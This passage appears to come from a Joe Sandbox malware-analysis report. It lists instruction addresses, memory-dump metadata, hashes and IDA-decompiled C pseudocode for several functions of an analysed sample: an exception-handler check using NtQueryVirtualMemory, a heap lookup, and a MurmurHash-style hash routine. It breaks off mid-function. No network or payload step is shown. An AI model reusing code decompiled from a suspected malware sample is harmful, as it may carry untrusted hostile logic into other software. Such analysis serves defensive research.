0x00402f81
0x00402f90
0x00402f9f
0x00402fa5
0x00402fc5
0x00402fca
0x00402fda
0x00402fdd
0x00402fef
0x00402fef
0x00402ff2
0x00402ff5
0x00000000
0x00000000
0x0040300a
0x0040302b
0x00403030
0x00403033
0x0040304a
0x00403073
0x00403078
0x0040307b
0x0040307b
0x00402fe9
0x00402fe9
0x00402fec
0x00402fec
0x00403084
0x00403093
0x00403098
0x0040309b
0x004030a1
0x004030b2
0x004030b2
0x004030b6
0x00000000
0x00000000
0x004030b8
0x004030be
0x004030c5
0x004030c8
0x004030ad
0x004030ad
0x004030af
0x00000000
0x004030af
0x00000000
0x004030ca
0x004030ce
0x004030d5
0x004030dc
0x004030e3
0x004030e3
0x004030ea
0x00000000
0x00000000
0x004030f0
0x004030f4
0x00403130
0x00403130
0x00403134
0x00403229
0x0040322d
0x00403232
0x00403232
0x00403235
0x00403235
0x00403238
0x00403238
0x0040323c
0x004032c5
0x004032c5
0x004032c5
0x004032c9
0x004032e6
0x004032e6
0x004032e8
0x004032cb
0x004032cb
0x004032db
0x004032db
0x004032eb
0x004032eb
0x00000000
0x004032ef
0x00403242
0x00403246
0x00000000
0x00000000
0x00403248
0x0040324c
0x00403272
0x00403289
0x004032ab
0x004032b0
0x004032b3
0x004032b3
0x004032b7
0x004032b7
0x004032be
0x00000000
0x004032be
0x00403261
0x00403266
0x00403269
0x00000000
0x00403269
0x0040313a
0x00403140
0x00403147
0x0040314a
0x00403227
0x00000000
0x00403227
0x00403150
0x0040315a
0x00403163
0x00403166
0x00403170
0x00403182
0x00403188
0x0040318b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040318d
0x0040318d
0x0040318d
0x00403191
0x004031a8
0x004031a8
0x004031aa
0x00403193
0x00403193
0x004031a0
0x004031a0
0x004031ad
0x004031ad
0x004031b9
0x004031bf
0x004031c3
0x004031c5
0x004031c8
0x004031cf
0x004031d2
0x004031da
0x004031da
0x004031dd
0x004031dd
0x004031d2
0x0040317c
0x0040317c
0x0040317f
0x0040317f
0x004031eb
0x00403207
0x00403207
0x0040320b
0x00000000
0x00000000
0x00403213
0x00403216
0x004031f6
0x004031ff
0x004031ff
0x00403201
0x00000000
0x00403201
0x00000000
0x00403218
0x00403222
0x00403222
0x00403224
0x00000000
0x00000000
0x00000000
0x00000000
0x004030f6
0x004030f6
0x00403102
0x00403124
0x00403129
0x0040312c
0x0040312c
0x00000000
0x004030f6
0x004032f4
0x004032f8
0x00403369
0x00403375
0x0040337a
0x0040337d
0x0040337d
0x00403381
0x0040338b
0x00403390
0x00403390
0x00403397
0x0040339c
0x0040339f
0x0040339f
0x004033a3
0x004033a3
0x004033a7
0x004033b1
0x004033b6
0x004033b6
0x004033bd
0x004033c2
0x004033c5
0x004033c5
0x004033c9
0x004033c9
0x004033cd
0x004033d7
0x004033dc
0x004033dc
0x004033e3
0x004033e8
0x004033eb
0x004033eb
0x004033ef
0x004033ef
0x004033f3
0x004033fd
0x00403402
0x00403402
0x00403409
0x0040340e
0x00403411
0x00403411
0x00403415
0x00403427
0x0040342a
0x0040342d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040342f
0x0040342f
0x0040342f
0x00403432
0x0040343a
0x0040344b
0x00403450
0x00403450
0x0040345e
0x00403463
0x00403466
0x00403466
0x00403421
0x00403421
0x00403424
0x00403424
0x0040346c
0x00000000
0x0040346c
0x004032fa
0x004032fe
0x00403324
0x0040333b
0x0040335d
0x00403362
0x00403365
0x00403365
0x00000000
0x00403324
0x00403313
0x00403318
0x0040331b
0x00000000
0x0040331b
0x00000000
0x00402f56
0x00402ef1
0x00000000
0x00402ef9
0x00402ec2
0x00000000

Strings

, xrefs: 00402F1B

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 5e51b0e8150dde029b3c4edd1cbe5eeac9906cc03eba8322a4fb12b8bbc05176
Instruction ID: dcaf04cbbe1406b8af14a02fe98e1e1ae043b4e220957441d257f04af74a8b75
Opcode Fuzzy Hash: 5e51b0e8150dde029b3c4edd1cbe5eeac9906cc03eba8322a4fb12b8bbc05176
Instruction Fuzzy Hash: 44124EB1D001099BCF14DF98D985AEFB7B9BB88305F14816DF909B7380D739AA41CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF2D Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EF2D(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x417638;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x417680 = 1;
										__eflags =  *0x417680;
										if( *0x417680 != 0) {
											goto L60;
										}
										_t84 =  *0x417638;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x417680 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x417638 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x417640 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x41763c + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x417640 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x417640 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x417680 = 1;
							__eflags =  *0x417680;
							if( *0x417680 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x417640 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x417640 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x417680 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x417640 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x417638 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x417640 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x417640 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x0040ef37
0x0040ef3a
0x0040ef40
0x0040ef5e
0x00000000
0x0040ef5e
0x0040ef48
0x0040ef51
0x0040ef57
0x0040ef66
0x0040ef69
0x0040ef6c
0x0040ef76
0x0040ef76
0x0040ef78
0x0040ef7b
0x0040ef7d
0x0040ef7d
0x0040ef7f
0x0040ef82
0x00000000
0x00000000
0x0040ef84
0x0040ef86
0x0040efec
0x0040efec
0x0040f14a
0x00000000
0x0040f14a
0x0040ef88
0x0040ef88
0x0040ef8c
0x0040ef8e
0x0040ef8e
0x0040ef8e
0x0040ef8e
0x0040ef91
0x0040ef92
0x0040ef95
0x0040ef95
0x0040ef99
0x0040ef9d
0x0040efab
0x0040efab
0x0040efb3
0x0040efb9
0x0040efbb
0x0040efbd
0x0040efcd
0x0040efda
0x0040efde
0x0040efe3
0x0040efe5
0x0040f063
0x0040f063
0x0040efe7
0x0040efe7
0x0040efe7
0x0040f065
0x0040f067
0x0040f148
0x0040f148
0x00000000
0x0040f06d
0x0040f06d
0x0040f074
0x00000000
0x00000000
0x0040f07a
0x0040f07e
0x0040f0da
0x0040f0dc
0x0040f0e4
0x0040f0e6
0x0040f0e8
0x00000000
0x00000000
0x0040f0ea
0x0040f0f0
0x0040f0f2
0x0040f0f4
0x0040f109
0x0040f109
0x0040f10b
0x0040f13a
0x0040f141
0x00000000
0x0040f141
0x0040f10f
0x0040f110
0x0040f112
0x0040f114
0x0040f114
0x0040f116
0x0040f118
0x0040f11a
0x0040f12e
0x0040f12e
0x0040f131
0x0040f133
0x0040f133
0x0040f134
0x0040f134
0x00000000
0x0040f11c
0x0040f11c
0x0040f11c
0x0040f125
0x0040f126
0x0040f128
0x0040f12a
0x0040f12a
0x00000000
0x0040f11c
0x0040f11a
0x0040f0f6
0x0040f0fd
0x0040f0fd
0x0040f0ff
0x00000000
0x00000000
0x0040f101
0x0040f102
0x0040f105
0x0040f107
0x00000000
0x00000000
0x00000000
0x0040f107
0x00000000
0x0040f0fd
0x0040f080
0x0040f083
0x0040f088
0x00000000
0x00000000
0x0040f091
0x0040f093
0x0040f099
0x00000000
0x00000000
0x0040f09f
0x0040f0a5
0x00000000
0x00000000
0x0040f0ab
0x0040f0ad
0x0040f0b6
0x0040f0ba
0x00000000
0x00000000
0x0040f0c0
0x0040f0c3
0x0040f0c5
0x00000000
0x00000000
0x0040f0cc
0x0040f0ce
0x00000000
0x00000000
0x0040f0d0
0x0040f0d4
0x00000000
0x00000000
0x00000000
0x0040f0d4
0x00000000
0x00000000
0x00000000
0x0040efbf
0x0040efbf
0x0040efbf
0x0040efc6
0x00000000
0x00000000
0x0040efc8
0x0040efc9
0x0040efcb
0x00000000
0x00000000
0x00000000
0x0040efcb
0x0040eff3
0x0040eff5
0x00000000
0x00000000
0x0040f005
0x0040f007
0x0040f009
0x00000000
0x00000000
0x0040f00f
0x0040f016
0x0040f042
0x0040f042
0x0040f044
0x0040f046
0x0040f05a
0x0040f05c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f048
0x0040f048
0x0040f048
0x0040f051
0x0040f052
0x0040f054
0x0040f056
0x0040f056
0x00000000
0x0040f048
0x0040f018
0x0040f01b
0x0040f01d
0x0040f02f
0x0040f02f
0x0040f032
0x0040f034
0x0040f034
0x0040f035
0x0040f035
0x0040f03b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f01f
0x0040f01f
0x0040f01f
0x0040f026
0x00000000
0x00000000
0x0040f028
0x0040f028
0x0040f029
0x00000000
0x00000000
0x00000000
0x0040f029
0x0040f02b
0x0040f02d
0x0040f040
0x00000000
0x00000000
0x00000000
0x0040f040
0x00000000
0x0040f02d
0x0040ef9f
0x0040efa2
0x0040efa5
0x00000000
0x00000000
0x0040efa7
0x0040efa9
0x00000000
0x00000000
0x00000000
0x0040efa9
0x0040ef6e
0x0040ef70
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL ref: 0040EFDE

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: 79f629e4ee2a53f84b10da4d4ab7d35b6a6dd20687e1c4aaa855ce45479e32d4
Instruction ID: 3779d8d5983664079a03e216e70cb0c0b8133630b7093fc66fd107e457eda8e3
Opcode Fuzzy Hash: 79f629e4ee2a53f84b10da4d4ab7d35b6a6dd20687e1c4aaa855ce45479e32d4
Instruction Fuzzy Hash: 5561C431704602DFDB39CE2AC98066A73A5AB85324B24847BD406EB7D2E73DEC46C65C

Uniqueness

Uniqueness Score: -1.00%

Function 00408930 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00408930(intOrPtr _a4) {
				void* _v1028;
				long _v1032;
				char _v1033;
				signed int _v1040;
				void* _t26;

				_v1033 = 0;
				_v1032 = GetProcessHeaps(0xff,  &_v1028);
				if(_v1032 != 0 && _v1032 < 0x100) {
					_v1040 = 0;
					while(_v1040 < _v1032) {
						if( *((intOrPtr*)(_t26 + _v1040 * 4 - 0x400)) != _a4) {
							_v1040 = _v1040 + 1;
							continue;
						} else {
							_v1033 = 1;
						}
						goto L8;
					}
				}
				L8:
				return _v1033;
			}

0x00408939
0x00408952
0x0040895f
0x0040896d
0x00408988
0x004089a6
0x00408982
0x00000000
0x004089a8
0x004089a8
0x004089a8
0x00000000
0x004089a6
0x00408988
0x004089b3
0x004089bc

APIs

GetProcessHeaps.KERNEL32(000000FF,?), ref: 0040894C

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: HeapsProcess
String ID:
API String ID: 1420622215-0
Opcode ID: 398c00615c73b9a85a2b98cb4f2c7559d965eb21afa17a522cad4f920a78b4b0
Instruction ID: 785f260148ae9ae4597d64fcfe5756ded850402a79d19a0c46507e0d49a2d579
Opcode Fuzzy Hash: 398c00615c73b9a85a2b98cb4f2c7559d965eb21afa17a522cad4f920a78b4b0
Instruction Fuzzy Hash: BA01DAF4904118CADB20DB14DB847B9B7B4AB84304F1482EADB8976381C6781EC6DF9E

Uniqueness

Uniqueness Score: -1.00%

Function 00408FA0 Relevance: .4, Instructions: 371
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E00408FA0(signed int __edx, intOrPtr _a4, signed int _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _v24;
				signed char* _v28;
				intOrPtr _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _t306;
				signed int _t336;
				void* _t502;

				_v72 = 0;
				_v60 = _a4;
				asm("cdq");
				_v36 = _a8 + (__edx & 0x0000000f) >> 4;
				_v20 = 0;
				_v8 = 0;
				_v48 = 0;
				_v40 = 0;
				_v24 = 0x239b961b;
				_v32 = 0xab0e9789;
				_v16 = 0x38b34ae5;
				_v64 = 0xa1e38b93;
				_v44 = (_v36 << 4) + _v60;
				_v76 =  ~_v36;
				while(_v76 != 0) {
					_v92 = E00408DE0(_v44, _v76 << 2);
					_v88 = E00408DE0(_v44, 1 + _v76 * 4);
					_v84 = E00408DE0(_v44, 2 + _v76 * 4);
					_t336 = E00408DE0(_v44, 3 + _v76 * 4);
					_t502 = _t502 + 0x20;
					_v80 = _t336;
					_v92 = _v92 * 0x239b961b;
					asm("rol ecx, 0xf");
					_v92 = _v92 * 0xab0e9789;
					_v20 = _v20 ^ _v92;
					asm("rol ecx, 0x13");
					_v20 = _v20 + _v8;
					_v20 = 0x561ccd1b + _v20 * 5;
					_v88 = _v88 * 0xab0e9789;
					asm("rol edx, 0x10");
					_v88 = _v88 * 0x38b34ae5;
					_v8 = _v8 ^ _v88;
					asm("rol edx, 0x11");
					_v8 = _v8 + _v48;
					_v8 = 0xbcaa747 + _v8 * 5;
					_v84 = _v84 * 0x38b34ae5;
					asm("rol eax, 0x11");
					_v84 = _v84 * 0xa1e38b93;
					_v48 = _v48 ^ _v84;
					asm("rol eax, 0xf");
					_v48 = _v48 + _v40;
					_v48 = _v48 * 5 - 0x6932e3cb;
					_v80 = _v80 * 0xa1e38b93;
					asm("rol ecx, 0x12");
					_v80 = _v80 * 0x239b961b;
					_v40 = _v40 ^ _v80;
					asm("rol ecx, 0xd");
					_v40 = _v40 + _v20;
					_v40 = 0x32ac3b17 + _v40 * 5;
					_v76 = _v76 + 1;
				}
				_v28 = (_v36 << 4) + _v60;
				_v68 = 0;
				_v56 = 0;
				_v52 = 0;
				_v12 = 0;
				_v96 = _a8 & 0x0000000f;
				_v96 = _v96 - 1;
				if(_v96 <= 0xe) {
					switch( *((intOrPtr*)(_v96 * 4 +  &M00409484))) {
						case 0:
							L20:
							_v68 =  *_v28 & 0x000000ff ^ _v68;
							_v68 = _v68 * 0x239b961b;
							asm("rol eax, 0xf");
							_v68 = _v68 * 0xab0e9789;
							_v20 = _v20 ^ _v68;
							goto L21;
						case 1:
							L19:
							_v68 = (_v28[1] & 0x000000ff) << 0x00000008 ^ _v68;
							goto L20;
						case 2:
							L18:
							_v68 = (_v28[2] & 0x000000ff) << 0x00000010 ^ _v68;
							goto L19;
						case 3:
							L17:
							_v68 = (_v28[3] & 0x000000ff) << 0x00000018 ^ _v68;
							goto L18;
						case 4:
							L16:
							_v56 = _v28[4] & 0x000000ff ^ _v56;
							_v56 = _v56 * 0xab0e9789;
							asm("rol eax, 0x10");
							_v56 = _v56 * 0x38b34ae5;
							_v8 = _v8 ^ _v56;
							goto L17;
						case 5:
							L15:
							_v56 = (_v28[5] & 0x000000ff) << 0x00000008 ^ _v56;
							goto L16;
						case 6:
							L14:
							_v56 = (_v28[6] & 0x000000ff) << 0x00000010 ^ _v56;
							goto L15;
						case 7:
							L13:
							_v56 = (_v28[7] & 0x000000ff) << 0x00000018 ^ _v56;
							goto L14;
						case 8:
							L12:
							_v52 = _v28[8] & 0x000000ff ^ _v52;
							_v52 = _v52 * 0x38b34ae5;
							asm("rol eax, 0x11");
							_v52 = _v52 * 0xa1e38b93;
							_v48 = _v48 ^ _v52;
							goto L13;
						case 9:
							L11:
							_v52 = (_v28[9] & 0x000000ff) << 0x00000008 ^ _v52;
							goto L12;
						case 0xa:
							L10:
							_v52 = (_v28[0xa] & 0x000000ff) << 0x00000010 ^ _v52;
							goto L11;
						case 0xb:
							L9:
							_v52 = (_v28[0xb] & 0x000000ff) << 0x00000018 ^ _v52;
							goto L10;
						case 0xc:
							L8:
							_v12 = _v28[0xc] & 0x000000ff ^ _v12;
							_v12 = _v12 * 0xa1e38b93;
							asm("rol eax, 0x12");
							_v12 = _v12 * 0x239b961b;
							_v40 = _v40 ^ _v12;
							goto L9;
						case 0xd:
							L7:
							_v12 = (_v28[0xd] & 0x000000ff) << 0x00000008 ^ _v12;
							goto L8;
						case 0xe:
							_v12 = (_v28[0xe] & 0x000000ff) << 0x00000010 ^ _v12;
							goto L7;
					}
				}
				L21:
				_v20 = _v20 ^ _a8;
				_v8 = _v8 ^ _a8;
				_v48 = _v48 ^ _a8;
				_v40 = _v40 ^ _a8;
				_v20 = _v20 + _v8;
				_v20 = _v20 + _v48;
				_v20 = _v20 + _v40;
				_v8 = _v8 + _v20;
				_v48 = _v48 + _v20;
				_v40 = _v40 + _v20;
				_v20 = E00408DF0(_v20);
				_v8 = E00408DF0(_v8);
				_v48 = E00408DF0(_v48);
				_v40 = E00408DF0(_v40);
				_v20 = _v20 + _v8;
				_v20 = _v20 + _v48;
				_v20 = _v20 + _v40;
				_v8 = _v8 + _v20;
				_v48 = _v48 + _v20;
				_v40 = _v40 + _v20;
				 *_a12 = _v20;
				_a12[1] = _v8;
				_a12[2] = _v48;
				_t306 = _v40;
				_a12[3] = _t306;
				return _t306;
			}

0x00408fa6
0x00408fb0
0x00408fb6
0x00408fbf
0x00408fc2
0x00408fc9
0x00408fd0
0x00408fd7
0x00408fde
0x00408fe5
0x00408fec
0x00408ff3
0x00409003
0x0040900b
0x00409019
0x00409036
0x00409050
0x0040906a
0x0040907c
0x00409081
0x00409084
0x00409090
0x00409096
0x004090a5
0x004090ae
0x004090b4
0x004090c0
0x004090ce
0x004090da
0x004090e0
0x004090ef
0x004090f8
0x004090fe
0x0040910a
0x00409119
0x00409125
0x0040912b
0x0040913a
0x00409143
0x00409149
0x00409155
0x00409164
0x00409170
0x00409176
0x00409185
0x0040918e
0x00409194
0x004091a0
0x004091ae
0x00409016
0x00409016
0x004091bf
0x004091c2
0x004091c9
0x004091d0
0x004091d7
0x004091e4
0x004091ed
0x004091f4
0x004091fd
0x00000000
0x00409359
0x00409362
0x0040936e
0x00409374
0x00409383
0x0040938c
0x00000000
0x00000000
0x00409349
0x00409356
0x00000000
0x00000000
0x00409339
0x00409346
0x00000000
0x00000000
0x00409329
0x00409336
0x00000000
0x00000000
0x004092f2
0x004092fc
0x00409308
0x0040930e
0x0040931d
0x00409326
0x00000000
0x00000000
0x004092e2
0x004092ef
0x00000000
0x00000000
0x004092d2
0x004092df
0x00000000
0x00000000
0x004092c2
0x004092cf
0x00000000
0x00000000
0x0040928b
0x00409295
0x004092a1
0x004092a7
0x004092b6
0x004092bf
0x00000000
0x00000000
0x0040927b
0x00409288
0x00000000
0x00000000
0x0040926b
0x00409278
0x00000000
0x00000000
0x0040925b
0x00409268
0x00000000
0x00000000
0x00409224
0x0040922e
0x0040923a
0x00409240
0x0040924f
0x00409258
0x00000000
0x00000000
0x00409214
0x00409221
0x00000000
0x00000000
0x00409211
0x00000000
0x00000000
0x004091fd
0x0040938f
0x00409395
0x0040939e
0x004093a7
0x004093b0
0x004093b9
0x004093c2
0x004093cb
0x004093d4
0x004093dd
0x004093e6
0x004093f5
0x00409404
0x00409413
0x00409422
0x0040942b
0x00409434
0x0040943d
0x00409446
0x0040944f
0x00409458
0x00409461
0x00409469
0x00409472
0x00409478
0x0040947b
0x00409481

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e342ec8ece3ea47229aff82648d4b4dd66772e33e038a648633e7687c6d9cbaa
Instruction ID: 5b88eedca40deb017cab5176b4229643bb1f3ebf536d8ecc0de915512f40f503
Opcode Fuzzy Hash: e342ec8ece3ea47229aff82648d4b4dd66772e33e038a648633e7687c6d9cbaa
Instruction Fuzzy Hash: 83127CB4D002199FCB48CF99D991AEEFBB2BF98300F24856AE415BB345D734AA01CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECE8 Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E0040ECE8(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E0040EE73(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E0040EF2D(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
